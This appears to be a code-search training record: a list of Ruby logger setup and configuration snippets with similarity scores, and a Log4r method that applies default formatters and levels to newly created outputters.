[ "def setup\n self.logger.reopen(File.open(File.join(Lokii::Config.root, Lokii::Config.log), \"a\")) if daemon? && self.logger\n self.logger ||= ::Logger.new(File.join(Lokii::Config.root, Lokii::Config.log))\n end", "def configure_logging\n @logger = Logging.logger[self]\n end", "def init_logging\n app_name = ENV[\"APP_NAME\"] || \"calcentral\"\n format = PatternFormatter.new(:pattern => \"[%d] [%l] [CalCentral] %m\")\n\n Rails.logger = Log4r::Logger.new(app_name)\n Rails.logger.level = DEBUG\n Rails.logger.outputters = init_file_loggers(app_name, format)\n\n stdout = Outputter.stdout #controlled by Settings.logger.level\n stdout.formatter = format\n # level has to be set in the logger initializer, after Settings const is initialized.\n # see initializers/logging.rb\n Rails.logger.outputters << stdout\n end", "def set_up_logging\n\n if @parameters[:log_to_file] then\n\n @logger = Logger.new(@parameters[:log_to_file])\n\n else\n\n @logger = Logger.new(STDOUT)\n\n end\n\n if @parameters[:log_detailed_messages] then\n \n @logger.sev_threshold = Logger::DEBUG\n\n else\n\n @logger.sev_threshold = Logger::INFO\n\n end\n\n end", "def initLogger()\n\tconfig = FileUtil.loadjson(File.dirname(__FILE__) + '/utilcfg.json')\n\tif config.key?('log.path')\n\t\tlpath = config['log.path']\n\t\tunless File.file?(lpath)\n\t\t\tdpath = lpath.gsub(/[^\\/]+$/,'')\n\t\t\tDir.mkdir(dpath) unless Dir.exist?(dpath)\n\t\tend\n\t\tif config.key?('log.interval')\n\t\t\t$logger = Logger.new(lpath, config['log.interval'])\n\t\telse\n\t\t\t$logger = Logger.new(lpath)\n\t\tend\n\tend\n\tLogUtil.setformatter\n\tLogUtil.setloglevel(config['log.level'])\nend", "def setup_logger\n logger = Log4r::Logger.new('drbman')\n logger.outputters = Log4r::StdoutOutputter.new(:console)\n Log4r::Outputter[:console].formatter = Log4r::PatternFormatter.new(:pattern => \"%m\")\n logger.level = Log4r::DEBUG\n logger.level = Log4r::INFO\n logger.level = Log4r::WARN if @user_choices[:quiet]\n logger.level = Log4r::DEBUG if @user_choices[:debug]\n # logger.trace = true\n logger\n end", "def setup_logging( level=Logger::FATAL )\n\n\t\t# Turn symbol-style level config into Logger's expected Fixnum level\n\t\tif Mongrel2::Logging::LOG_LEVELS.key?( level.to_s )\n\t\t\tlevel = Mongrel2::Logging::LOG_LEVELS[ level.to_s ]\n\t\tend\n\n\t\tlogger = Logger.new( $stderr )\n\t\tMongrel2.logger = logger\n\t\tMongrel2.logger.level = level\n\n\t\t# Only do this when executing from a spec in TextMate\n\t\tif ENV['HTML_LOGGING'] || (ENV['TM_FILENAME'] && ENV['TM_FILENAME'] =~ /_spec\\.rb/)\n\t\t\tThread.current['logger-output'] = []\n\t\t\tlogdevice = ArrayLogger.new( Thread.current['logger-output'] )\n\t\t\tMongrel2.logger = Logger.new( logdevice )\n\t\t\t# Mongrel2.logger.level = level\n\t\t\tMongrel2.logger.formatter = Mongrel2::Logging::HtmlFormatter.new( logger )\n\t\tend\n\tend", "def init(*opts)\n reset!\n @logger = logger_for(BeanStalk::Worker::Config[:log_location])\n if @logger.respond_to?(:formatter=)\n if BeanStalk::Worker::Config[:log_formatter].eql?(:json)\n @logger.formatter = Mixlib::Log::JSONFormatter.new()\n else\n @logger.formatter = Mixlib::Log::Formatter.new()\n end\n end\n @logger.level = Logger.const_get(\n BeanStalk::Worker::Config[:log_level].to_s.upcase)\n @logger\n end", "def setup_logger\n log = Log4r::Logger.new('rpm_analytics_worker')\n\n log_format = Log4r::PatternFormatter.new(:pattern => \"[#{Process.pid}:%l] %d :: %m\")\n setup_file_logger(log, log_format) if options[:log_dir]\n setup_stdout_logger(log, log_format) if options[:log_stdout]\n\n log.level = options[:verbose] ? Log4r::DEBUG : Log4r::INFO\n log\n end", "def setup_logging( level=Logger::FATAL )\n\n\t\t# Turn symbol-style level config into Logger's expected Fixnum level\n\t\tif RoninShell::Loggable::LEVEL.key?( level )\n\t\t\tlevel = RoninShell::Loggable::LEVEL[ level ]\n\t\tend\n\n\t\tlogger = Logger.new( $stderr )\n\t\tRoninShell.logger = logger\n\t\tRoninShell.logger.level = level\n\n\t\t# Only do this when executing from a spec in TextMate\n\t\tif ENV['HTML_LOGGING'] || (ENV['TM_FILENAME'] && ENV['TM_FILENAME'] =~ /_spec\\.rb/)\n\t\t\tThread.current['logger-output'] = []\n\t\t\tlogdevice = ArrayLogger.new( Thread.current['logger-output'] )\n\t\t\tRoninShell.logger = Logger.new( logdevice )\n\t\t\t# RoninShell.logger.level = level\n\t\t\tRoninShell.logger.formatter = RoninShell::HtmlLogFormatter.new( logger )\n\t\tend\n\tend", "def setup_logger(logger = nil)\n # If a logger is specified we replace the existing.\n @logger = logger\n\n # Otherwise we create a new one.\n logger = Logger.new(STDOUT)\n logger.level = Logger::DEBUG\n @logger ||= logger\n end", "def logger\n init unless @initialized\n logger = @logger\n end", "def logger=(logr); @logger = logr end", "def enable_logging\n initialize_logger\n end", "def setup_logging( level=Logger::FATAL )\n\n\t\t# Turn symbol-style level config into Logger's expected Fixnum level\n\t\tif Treequel::LOG_LEVELS.key?( level.to_s )\n\t\t\tlevel = Treequel::LOG_LEVELS[ level.to_s ]\n\t\tend\n\n\t\tlogger = Logger.new( $stderr )\n\t\tTreequel.logger = logger\n\t\tTreequel.logger.level = level\n\n\t\t# Only do this when executing from a spec in TextMate\n\t\tif ENV['HTML_LOGGING'] || (ENV['TM_FILENAME'] && ENV['TM_FILENAME'] =~ /_spec\\.rb/)\n\t\t\tThread.current['logger-output'] = []\n\t\t\tlogdevice = ArrayLogger.new( Thread.current['logger-output'] )\n\t\t\tTreequel.logger = Logger.new( logdevice )\n\t\t\t# Treequel.logger.level = level\n\t\t\tTreequel.logger.formatter = Treequel::HtmlLogFormatter.new( logger )\n\t\tend\n\tend", "def initialize_logger()\n case logger_type\n when :local\n log_path = File.join(RAILS_ROOT, 'log', \"#{config_basename}.log\")\n system(\"cat /dev/null > #{log_path}\")\n ActiveSupport::BufferedLogger.new(log_path)\n when :remote\n RemoteLogger.new(config_basename, File.join(RAILS_ROOT, 'log'), proc_id)\n when :stderr\n logger = ActiveSupport::BufferedLogger.new($stderr)\n logger.auto_flushing = true\n logger\n else\n raise ArgumentError, \"logger_type must be :local,:remote or :stderr\"\n end\n end", "def initialize_logger()\n case logger_type\n when :local\n log_path = File.join(RAILS_ROOT, 'log', \"#{config_basename}.log\")\n system(\"cat /dev/null > #{log_path}\")\n ActiveSupport::BufferedLogger.new(log_path)\n when :remote\n RemoteLogger.new(config_basename, File.join(RAILS_ROOT, 'log'), proc_id)\n when :stderr\n logger = ActiveSupport::BufferedLogger.new($stderr)\n logger.auto_flushing = true\n logger\n else\n raise ArgumentError, \"logger_type must be :local,:remote or :stderr\"\n end\n end", "def initialize_logger()\n case logger_type\n when :local\n log_path = File.join(RAILS_ROOT, 'log', \"#{config_basename}.log\")\n system(\"cat /dev/null > #{log_path}\")\n ActiveSupport::BufferedLogger.new(log_path)\n when :remote\n RemoteLogger.new(config_basename, File.join(RAILS_ROOT, 'log'), proc_id)\n when :stderr\n logger = ActiveSupport::BufferedLogger.new($stderr)\n logger.auto_flushing = true\n logger\n else\n raise ArgumentError, \"logger_type must be :local,:remote or :stderr\"\n end\n end", "def setup_logger(log_name)\n date = Time.new.localtime.strftime('%F %H.%M.%S%L')\n logger = Logger.new(\"#{$VALUE}/test_logs/#{log_name}_#{date}.log\")\n logger.formatter = proc do |severity, datetime, _progname, msg|\n date_format = datetime.strftime('%Y-%m-%d %H:%M:%S%L')\n if (severity == 'INFO') || (severity == 'WARN')\n \"[#{date_format}] #{severity} (#{ENV['PRODUCT_NAME']}): #{msg}\\n\"\n else\n \"[#{date_format}] #{severity} (#{ENV['PRODUCT_NAME']}): #{msg}\\n\"\n end\n end\n logger\nend", "def logger=(logger); end", "def logger=(logger); end", "def configure_logger_for(name)\n logger = Logger.new(@logdev, @shift_age, @shift_size)\n logger.level = @level\n logger.progname = name\n logger.formatter = formatter\n logger\n end", "def initialize\n Logging.setup(Logger::INFO)\n end", "def init\n Logging.logger.root.level = :debug\n Logging.logger.root.add_appenders(\n Logging.appenders.stdout(\n :backtrace => false,\n :level => @config[:verbose] ? :debug : :info,\n :layout => Logging.layouts.pattern(:pattern => STDOUT_PATTERN)\n ),\n Logging.appenders.rolling_file(\n @log_file,\n :backtrace => true,\n :level => :debug,\n :layout => Logging.layouts.pattern(:pattern => LOG_FILE_PATTERN)\n )\n )\n Logging.mdc['client'] = 'server'\n end", "def init_logs\n begin\n if !@cloud.log_directory.nil?\n node_log_file = @cloud.log_directory + \"/#{@name.to_s}.log\"\n if !File.exists?(node_log_file)\n File.new(node_log_file, \"a+\")\n @log_file = node_log_file\n @logger.info \"Created #{node_log_file}\"\n end\n outputter = Log4r::FileOutputter.new(\"#{@name.to_s}-file\", :formatter => FileFormatter.new, :filename => node_log_file, :truncate => false)\n @logger.add(outputter)\n end\n rescue RuntimeError => rerr\n if !rerr.message.eql?(\"Maestro not configured correctly. Either RAILS_ROOT, Rails.root, or ENV['MAESTRO_DIR'] must be defined\")\n @logger.error \"Unexpected Error\"\n @logger.error rerr\n end\n rescue SystemCallError => syserr\n @logger.error \"Error creating Node log file\"\n @logger.error syserr\n rescue StandardError => serr\n @logger.error \"Unexpected Error\"\n @logger.error serr\n end\n end", "def init_logger(settings)\n settings[:VERSION] = `rake runerb:get_version`.chomp.gsub!('\"', '')\n FileUtils.mkdir_p(\"#{FileUtils.pwd}/assets/log\")\n settings[:LOG_FILE_PATH] = \"#{FileUtils.pwd}/assets/log/rune_rb-#{Time.now.strftime('%Y-%m-%d').chomp}.log\".freeze\n settings[:LOG_FILE] = Logger.new(settings[:LOG_FILE_PATH], progname: \"rune.rb-#{settings[:VERSION]}\")\n settings[:LOG] = Logger.new(STDOUT)\n settings[:COLOR] = Pastel.new\n settings[:LOG].formatter = proc do |sev, date, _prog, msg|\n \"#{settings[:COLOR].green.bold(\"[#{date.strftime('%H:%M')}]\")}|#{settings[:COLOR].blue(\"[#{sev}]\")} : #{msg}\\n\"\n end\n end", "def log=(logger); end", "def configure_logger_for(classname)\n # handle case in which log path does not exists\n begin\n logger = Logger.new(@log_path)\n rescue Errno::ENOENT\n FileUtils.mkdir_p File.dirname @log_path\n retry\n end\n\n logger.progname = classname\n logger.level = @level\n logger.formatter = proc { |severity, datetime, progname, msg|\n case severity\n when 'DEBUG'\n spaciator = \" *\"\n after_space = \"\"\n when 'INFO'\n spaciator = \" **\"\n after_space = \" \"\n when 'WARN'\n spaciator = \" ***\"\n after_space = \" \"\n when 'ERROR'\n spaciator = \" ****\"\n after_space = \"\"\n when 'FATAL'\n spaciator = \"*****\"\n after_space = \"\"\n else\n spaciator = \" \"\n after_space = \"\"\n end\n\n formatted_output = \" #{spaciator} [#{severity}]#{after_space} [#{datetime}] -- #{msg} { #{progname} }\\n\"\n formatted_output\n }\n logger\n end", "def setup_logging\n require 'logger'\n if @telnet_options[:output_log]\n @output_logger = Logger.new @telnet_options[:output_log]\n log_output \"\\n# Starting telnet output log at #{Time.now}\"\n end\n\n if @telnet_options[:command_log]\n @command_logger = Logger.new @telnet_options[:command_log]\n end\n end", "def initialize_log\n if @configuration[:debug].nil?\n @logger = Yell.new format: Yell::ExtendedFormat do |l|\n l.adapter :datefile, 'send.log'\n l.adapter STDOUT\n end\n else\n @logger = Yell.new format: Yell::ExtendedFormat do |l|\n l.adapter :datefile, 'test.log'\n l.adapter STDOUT\n end\n end\n end", "def init_logger\n l = Logger.new(STDOUT)\n l.level = Logger::INFO\n Log.logger = l\nend", "def initialize\n @logger = RubyConfigr::AppLogger.get_logger();\n end", "def initialize( )\n ::Logging.init unless ::Logging.initialized?\n\n @name = 'root'\n @appenders = []\n @additive = false\n @caller_tracing = false\n @level = 0\n ::Logging::Logger.define_log_methods(self)\n end", "def initialize\n @logProvider = DefaultLogger.new\n end", "def initialize_log(log_target = STDOUT)\n oldlogger ||= nil\n @logger = Logger.new(log_target)\n @logger.level = Logger::INFO\n oldlogger.close if oldlogger && !$TESTING # don't want to close testing's STDOUT logging\n @logger\n end", "def setup_logger\n @logger.auto_flushing = true \n end", "def set_logger\n logger = CarrotRpc::ServerRunner::Logger.configured\n CarrotRpc.configuration.logger = logger\n\n logger\n end", "def init_logger\n self.log4r_config = load_file_config('log4r.yml')\n\n if log4r_config\n Log4r::YamlConfigurator.decode_yaml(log4r_config['log4r_config'])\n\n environments = log4r_config['log4r_config']['loggers'].map do |logger|\n logger['name']\n end\n\n if environments.include?(run_env)\n self.logger = Log4r::Logger[run_env]\n else\n self.logger = Log4r::Logger['development']\n end\n else\n self.logger = Log4r::Logger.new(run_env)\n self.logger.level = Log4r::DEBUG\n self.logger.add Log4r::Outputter.stdout\n self.logger.warn\n \"Log4r configuration file #{full_config_path('log4r.yml')} not found.\"\n self.logger.info \"Log4r outputting to stdout with DEBUG level.\"\n end\n end", "def initialize\n @logger = Logging::Logger[self]\n end", "def initialize\n @logger = Logger.new('cf_flattener.log')\n end", "def start_logger\n if config && config[:log] == \"file\" && config.log_file_path\n start_file_logger(config.log_file_path)\n else\n start_stdout_logger\n end\n\n logger.level =\n if config\n config.log_level\n else\n Appsignal::Config::DEFAULT_LOG_LEVEL\n end\n logger << @in_memory_log.string if @in_memory_log\n end", "def initialize(options={})\n @options = options.dup\n\n Logger.set(*@options[:log_to])\n end", "def init(*opts)\n if opts.length == 0\n @logger = Logger.new(STDOUT)\n else\n @logger = Logger.new(*opts)\n end\n @logger.formatter = Ohai::Log::Formatter.new()\n level(Ohai::Config.log_level)\n end", "def initialize logger = Nacreon.log\n\t\t\tself.log = logger\n\t\tend", "def initialize_logger\n return if @logger.blank?\n log = @logger\n log = log.to_s if log.is_a?(Pathname)\n if log.is_a?(String)\n log = File.join(TMP_ROOT_DIR, log) unless log.start_with?('/')\n @logger =\n Logger.new(log).tap { |l| l.level = Logger.const_get(@log_level) }\n end\n unless @logger.is_a?(Logger)\n raise \"expected String, got #{log.class} #{log.inspect}\"\n end\n end", "def initialize(logger=Logger.new(STDERR))\n setup_signals\n @logger = logger\n @logger.level = level_from_env || Logger::INFO\n end", "def logger(l)\n @config[:logger] = l\n end", "def setup_default_logger(logger)\n progname = 'Expectacle'\n @logger = if logger == :syslog\n Syslog::Logger.new(progname)\n else\n default_io_logger(logger, progname)\n end\n @logger.level = Logger::INFO\n @logger.formatter = proc do |severity, datetime, pname, msg|\n \"#{datetime} #{pname} [#{severity}] #{msg}\\n\"\n end\n end", "def logger=(writer); end", "def logger=(writer); end", "def logger=(writer); end", "def logger=(writer); end", "def logger=(writer); end", "def configure_logger!\n if config[:debug] || !ENV[\"DEBUG\"].to_s.empty?\n Bogo::Logger.logger.level = :debug\n else\n Bogo::Logger.logger.level = config.fetch(:log, :fatal)\n end\n end", "def initialize\n @log = Logging::Logger[self]\n end", "def set_log(logdev, shift_age = 0, shift_size = 1024000)\n @log = Logger.new(logdev, shift_age, shift_size)\n @log.progname = @appname\n @log.level = @level\n end", "def initialize(*logger_args)\n if logger_args.empty?\n logger_args = [$stderr]\n end\n @base_args = logger_args\n @logger = ::Logger.new(*@base_args)\n @logger.level = :fatal\n @lock = Mutex.new\n end", "def logger\n initialize_logger unless @logger\n @logger\n end", "def init_logger \n if not Object.const_defined?(get_rails_default_logger_name)\n Logger.new(STDOUT)\n else\n eval(get_rails_default_logger_name)\n end \n end", "def initialize\n @logger = BikeIn::Common::CustomLogger.new self.to_s\n end", "def initialize\n self.logger = Logger.new(STDOUT)\n reset!\n end", "def configure_logger_for(classname, methodname)\n logger = CustomLogger.new(get_log_path, shift_age = LOG_MAX_FILES, shift_size = LOG_MAX_SIZE)\n logger.level = get_log_level\n logger\n end", "def logger ; @log end", "def initialize\n @logger = ::Logger.new(STDOUT)\n self.level = :info\n end", "def initialize\n @logger = Logger.new(STDOUT)\n super(@logger)\n end", "def configure_logging\n Backdat::Log.init(Backdat::Config[:log_location])\n if ( Backdat::Config[:log_location] != STDOUT ) && STDOUT.tty? &&\n ( !Backdat::Config[:daemonize] )\n stdout_logger = Logger.new(STDOUT)\n STDOUT.sync = true\n stdout_logger.formatter = Backdat::Log.logger.formatter\n Backdat::Log.loggers << stdout_logger\n end\n Backdat::Log.level = Backdat::Config[:log_level]\n end", "def init_logger\n log = Log4r::Logger.new(STANDARD_LOGGER)\n log.trunc = true\n\n # sanity checks since we defined log4r's dynamic levels statically\n unless (Log4r::DEBUG == DEBUG) &&\n (Log4r::INFO == INFO) &&\n (Log4r::WARN == WARN) &&\n (Log4r::ERROR == ERROR) &&\n (Log4r::FATAL == FATAL)\n raise \"Logger levels do not match Log4r levels, levels may have been customized\"\n end\n\n Log4r::Logger[STANDARD_LOGGER].level = ERROR\n Log4r::Logger[STANDARD_LOGGER].trace = true\n\n Log4r::StderrOutputter.new :console\n Log4r::Outputter[:console].formatter = Log4r::PatternFormatter.new(:pattern => \"[%l] %m\")\n log.add(:console)\n end", "def logger; settings(:logger); end", "def setup_log\r\n logfile = File.open(\"/home/englandk/rails_apps/reminders/log/auto_enquiry.log\", 'a')\r\n \r\n @log = AuditLogger.new(logfile)\r\n @log.level = Logger::INFO\r\n @log.debug \"Started auto response email run\"\r\n end", "def setup\n @logger.info \"initializing the supervisor\"\n end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger\n @logger ||= Esi.config.logger || Logger.new(Esi.config.log_target).tap do |l|\n l.level = Logger.const_get(Esi.config.log_level.upcase)\n end\n end", "def setup_logfile\n # strip any trailing '/' in case the user supplied this as part of\n # an absolute path, so we can match it against File.expand_path()\n path = @options.log_path.chomp(\"/\")\n if path.empty?\n path = File.join(Backup::Config.root_path, \"log\")\n elsif path != File.expand_path(path)\n path = File.join(Backup::Config.root_path, path)\n end\n FileUtils.mkdir_p(path)\n log_file = @options.log_file || \"backup.log\"\n path = File.join(path, log_file)\n if File.exist?(path) && !File.writable?(path)\n raise Error, \"Log File at '#{path}' is not writable\"\n end\n\n path\n end", "def logger=(obj)\n config.logger = obj\n end", "def setup_logging( level=:fatal )\n\n\t\t# Only do this when executing from a spec in TextMate\n\t\tif ENV['HTML_LOGGING'] || (ENV['TM_FILENAME'] && ENV['TM_FILENAME'] =~ /_spec\\.rb/)\n\t\t\tlogarray = []\n\t\t\tThread.current['logger-output'] = logarray\n\t\t\tLoggability.output_to( logarray )\n\t\t\tLoggability.format_as( :html )\n\t\t\tLoggability.level = :debug\n\t\telse\n\t\t\tLoggability.level = level\n\t\tend\n\tend", "def logger=(_arg0); end", "def logger=(_arg0); end", "def logger=(_arg0); end", "def logger=(_arg0); end", "def logger=(_arg0); end", "def logger=(_arg0); end", "def logger=(_arg0); end" ]
[ "0.83539116", "0.7562431", "0.7397762", "0.7332645", "0.7331687", "0.73219746", "0.71980953", "0.71724755", "0.7157071", "0.71523345", "0.71433127", "0.7140595", "0.71370775", "0.70798486", "0.7079525", "0.70785266", "0.70785266", "0.70785266", "0.7078464", "0.707144", "0.707144", "0.70653105", "0.7063519", "0.7033077", "0.7025999", "0.7022628", "0.6992498", "0.69907176", "0.6965061", "0.6962116", "0.69530815", "0.69487995", "0.69406205", "0.6937885", "0.6937044", "0.6935891", "0.69302946", "0.6921357", "0.69174004", "0.6882171", "0.6855711", "0.68541074", "0.68450516", "0.6838776", "0.68009305", "0.6798024", "0.67832696", "0.6777762", "0.6764096", "0.6764096", "0.6764096", "0.6764096", "0.6764096", "0.6752006", "0.6706657", "0.6703472", "0.66873", "0.6686233", "0.66802984", "0.6679736", "0.6666783", "0.66627413", "0.66491854", "0.6632254", "0.66308576", "0.66291195", "0.6625958", "0.6618452", "0.66108114", "0.65963924", "0.6596202", "0.6596202", "0.6596202", "0.6596202", "0.6596202", "0.6596202", "0.6596202", "0.6596202", "0.6596202", "0.6596202", "0.6596202", "0.6596202", "0.6596202", "0.6596202", "0.6596202", "0.6596202", "0.6596202", "0.6596202", "0.6596202", "0.65782803", "0.6538343", "0.65195394", "0.6513422", "0.6508571", "0.6508571", "0.6508571", "0.6508571", "0.6508571", "0.6508571", "0.6508571" ]
0.71233004
13
Set the default format. Syntax erros are caught in the ObjectBuilderparse method.
def default_format(f) @default_formatter = Log4r::PatternFormatter.new(:pattern => f) # # Set all current outputters # result.outputters.each do |o| o.formatter = @default_formatter if o.formatter.is_a?(Log4r::DefaultFormatter) end @default_formatter end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def default_format=(format)\n @default_format = format\n end", "def reset_format!\n self.format = @default_format\n end", "def default_format(*value)\n set_format(@entry_format_default, *value)\n end", "def default_format\n @default_format ||= :html\n end", "def set_default_format\n request.format = :json\n end", "def set_default_format\n request.format = 'json'\n end", "def initialize\n @formatter = method(:default_formatter)\n end", "def default_format= format\n @worksheet.add_format format if @worksheet\n @default_format = format\n end", "def format\n @format ||= self._format_default\n end", "def set_default_format\n request.format = 'json'\n end", "def set_default_format\n @default_format=\"pdf\"\n end", "def format(format)\n @format = format\n end", "def default_formatter\n Sapience::Formatters::Default.new\n end", "def format=(value)\n\t\t\t@format = value\n\t\tend", "def format\n @format ||= {}\n end", "def format=(format)\n use_format(format)\n end", "def force(new_format)\r\n @format = new_format\r\n self\r\n end", "def formatter fmt\n @formatter = fmt\n end", "def format\n @format ||= properties.format.new self\n end", "def format=(value)\n @format = value\n end", "def format=(value)\n @format = value\n end", "def format=(value)\n @format = value\n end", "def format= format\n @format = format\n @document = nil\n end", "def determine_and_set_format options\n options.format = @template_format = options.format || @template_format\n end", "def format(name=nil)\n @format = name.to_s if name\n @format || DEFAULT_FORMAT\n end", "def set_default_response_format\n\t\t request.format = :json\n\t\tend", "def set_default_format_json\n if params[:format] && params[:format] != 'json'\n head :bad_request\n else\n request.format = 'json' unless params[:format]\n end\n end", "def format\n raise '#format must be implemented in child class'\n end", "def format=(name)\n @format = name.to_s\n end", "def format(format_name)\n valid_for 'string'\n assert_string format_name\n set format: format_name\n end", "def format\n params.fetch(:format, default_format)\n end", "def set_format *args\n global, format = args.fetch_opts [nil], :type => :console, :time => [\"%H:%M:%S\", \"%03d\"] \n format = if format[:type] == :html; {\n :caller => \"<a class='l'>%f:%l</a> <a class='m'>:%m</a>\", \n :format => \"<div class='line'><a class='t'>%time</a> <a class='%mode'>%mode</m> [%caller]: <p>%text</p>%att</div>\",\n :att =>\"<div class='att'><div class='hide'>+</div><pre>%s</pre></div>\",\n :serializer => RMTools::RMLogger::HTML\n }; else {\n :caller => \"#{@c.gray('%f:%l')} #{@c.red_bold(':%m')}\", \n :format => \"%time %mode [%caller]: %text\"\n } end.merge format\n if global\n _set_format @default_format, format\n else\n _set_format(file_format={}, format)\n @file_formats[File.expand_path(caller[0].till ':')] = file_format\n end\n end", "def format=(format)\n format = format.to_sym\n raise _(\"unsupported format '%{format}'.\") % { format: format } unless self.class.supported_format?(format)\n @format = format\n end", "def default_formatter\n SemanticLogger::Formatters::Json.new\n end", "def default_formatter\n SemanticLogger::Formatters::Json.new\n end", "def default_formatter\n SemanticLogger::Formatters::Json.new\n end", "def default_formatter\n SemanticLogger::Formatters::Default.new\n end", "def formatter=(_arg0); end", "def formatter=(_arg0); end", "def formatter=(_arg0); end", "def formatter\n @formatter ||= Formatters::Default.new\n end", "def format\n if !self[:value].nil?\n formats = self[:value].delete(:format)\n options = self[:value].delete(:option)\n df_value = self[:value].delete(:default_value)\n\n self[:value] = {}\n self[:value][:format] = formats\n self[:value][:option] = {}\n if !options.nil?\n options.keys.each {|k| self[:value][:option][k.to_sym] = options[k] if self[:value][:option][k.to_sym].nil?}\n end\n self[:value][:default_value] = df_value\n end\n self[:value] ||= {}\n self[:value][:format] ||= :number\n self[:value][:format].to_sym\n end", "def formatters=(formatters); end", "def set_default_format\n if request.format.symbol.nil? || request.format.to_s == '*/*'\n logger.debug \"[ApplicationController] Request format set to #{request.format.to_s.inspect}, forcing 'text/plain'\"\n request.format = :text\n end\n end", "def set_default_response_format\n request.format = :json unless params[:format]\n end", "def set_default_response_format\n request.format = :json\n end", "def set_formatter(formatter)\n @formatter = formatter\n end", "def format\n @format ||= Manipulator.new\n end", "def format\n @_format\n end", "def set_Format(value)\n set_input(\"Format\", value)\n end", "def set_Format(value)\n set_input(\"Format\", value)\n end", "def format(fmt)\n @fmt = fmt\n end", "def call(format_type: DEFAULT_NEWS_FORMAT_TYPE)\n self.combined_options = defaults.merge(\n format_type: validate_format_type(format_type)\n )\n super\n end", "def default_formatter\n SemanticLogger::Formatters::Raw.new\n end", "def initialize(*args)\n old_initialize(*args)\n self.formatter = SimpleFormatter.new\n end", "def format(value = nil)\n if value.nil?\n @format ||= nil\n else\n @format = value\n end\n end", "def set_format_for_row(format)\n @sheet.row(@current_row).default_format = format\n end", "def format\n raise NotImplementedError\n end", "def set_default_response_format\n request.format = :json\n end", "def set_default_response_format\n request.format = :json\n end", "def default_format\n @default_format || @worksheet.default_format || @workbook.default_format\n end", "def formats; end", "def formats; end", "def set_format(name)\n id = name.to_s.capitalize\n @formatter = Berkshelf.const_get(\"#{id}Formatter\").new\n end", "def format=(ret_format)\n if ret_format\n raise \"Format unknown\" if ![\"json\", \"hash\"].include?(ret_format.to_s)\n @format = ret_format.to_s\n end\n end", "def formatter=(formatter)\n @formatter.formatter = formatter\n end", "def format=(_arg0); end", "def format=(_arg0); end", "def format=(_arg0); end", "def format=(_arg0); end", "def format=(new_format)\n valid_formats = [:json, :xml]\n raise ArgumentError, \"Invalid format. Supported formats: #{valid_formats.join(', ')}.\" unless valid_formats.include?(new_format.to_sym)\n @format = new_format\n refresh_config_for_api_objects!\n @format\n end", "def set_date_format(format)\n @date_format = format\n end", "def format\n @format\n end", "def formatter=(formatter)\n @formatter =\n if formatter.nil?\n respond_to?(:call) ? self : default_formatter\n else\n Formatters.factory(formatter)\n end\n end", "def datetime_format=(datetime_format)\n @default_formatter.datetime_format = datetime_format\n end", "def format(format, *arguments)\n @format = format\n @format_arguments = *arguments unless arguments.empty?\n end", "def default_formatter\n if protocol == :syslog\n # Format is text output without the time\n SemanticLogger::Formatters::Default.new(time_format: nil)\n else\n SemanticLogger::Formatters::Syslog.new(facility: facility, level_map: level_map, max_size: max_size)\n end\n end", "def format(formatter = self.class.formatter, **options)\n formatter.format(self, options)\n end", "def initialize\n @formatter = nil\n reset!\n end", "def format; end", "def format; end", "def format; end", "def format; end", "def format; end", "def format; end", "def format; end", "def format; end", "def create_format_method\n case @style\n when :json; Parseable.create_json_format_method(self)\n when :yaml; Parseable.create_yaml_format_method(self)\n else raise ArgumentError, \"unknown format style '#@style'\" end\n end", "def formats=(values); end", "def cast_default(value)\n @format_string = iso8601\n cast_fmt(value)\n end", "def datetime_format=(datetime_format)\n @default_formatter.datetime_format = datetime_format\n end", "def set_date_format(format)\n @date_format = format\n end", "def default_options_date_format(format)\n format || '%Y-%m-%d - %l:%M:%S%p'\n end", "def formatter; end", "def formatter; end", "def formatter; end", "def set_date_format(format) \n unless format.nil?\n return format\n else\n return @@db_format\n end\n end", "def option_format\n option_parser.on('-f', '--format NAME', 'output format') do |name|\n options[:format] = name\n end\n end", "def options_for(_format)\n {}\n end", "def formatters; end" ]
[ "0.75442713", "0.694752", "0.69266033", "0.68541497", "0.6829331", "0.6792507", "0.6790205", "0.67543834", "0.675183", "0.66753274", "0.66524476", "0.66274256", "0.65580046", "0.6511294", "0.6508249", "0.6498025", "0.64804655", "0.6408066", "0.6385714", "0.63794136", "0.63794136", "0.63794136", "0.63498586", "0.63058263", "0.62913436", "0.6286903", "0.628395", "0.62821925", "0.6279853", "0.6267391", "0.62575704", "0.6235336", "0.62335205", "0.6228351", "0.6228351", "0.6228351", "0.6209087", "0.6187086", "0.6187086", "0.6187086", "0.6177802", "0.61720526", "0.61446756", "0.61397076", "0.60727227", "0.6070669", "0.60660857", "0.60567975", "0.6041056", "0.60350573", "0.60350573", "0.6018249", "0.5990759", "0.5982992", "0.5973677", "0.5970025", "0.5946371", "0.59351224", "0.5930122", "0.5930122", "0.59228635", "0.5920213", "0.5920213", "0.5916755", "0.591348", "0.5894965", "0.58902174", "0.58902174", "0.58902174", "0.58902174", "0.5872261", "0.58647645", "0.5860142", "0.5851018", "0.58413136", "0.58409977", "0.58182794", "0.5814273", "0.58040804", "0.5801523", "0.5801523", "0.5801523", "0.5801523", "0.5801523", "0.5801523", "0.5801523", "0.5801523", "0.57907647", "0.57830375", "0.57680804", "0.5765774", "0.575305", "0.5751586", "0.5738191", "0.5738191", "0.5738191", "0.5733666", "0.5731054", "0.5712147", "0.5710525" ]
0.5912983
65
This is called once an outputter has been created. It sets the default formatter and level, if these have been already set.
def created_outputter(outputter) # # Set the formatter and level for any newly created outputters # if @default_formatter outputter.formatter = @default_formatter if outputter.formatter.is_a?(Log4r::DefaultFormatter) end if @default_level outputter.level = @default_level if outputter.level == Log4r::RootLogger.instance.level end result.outputters << outputter end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
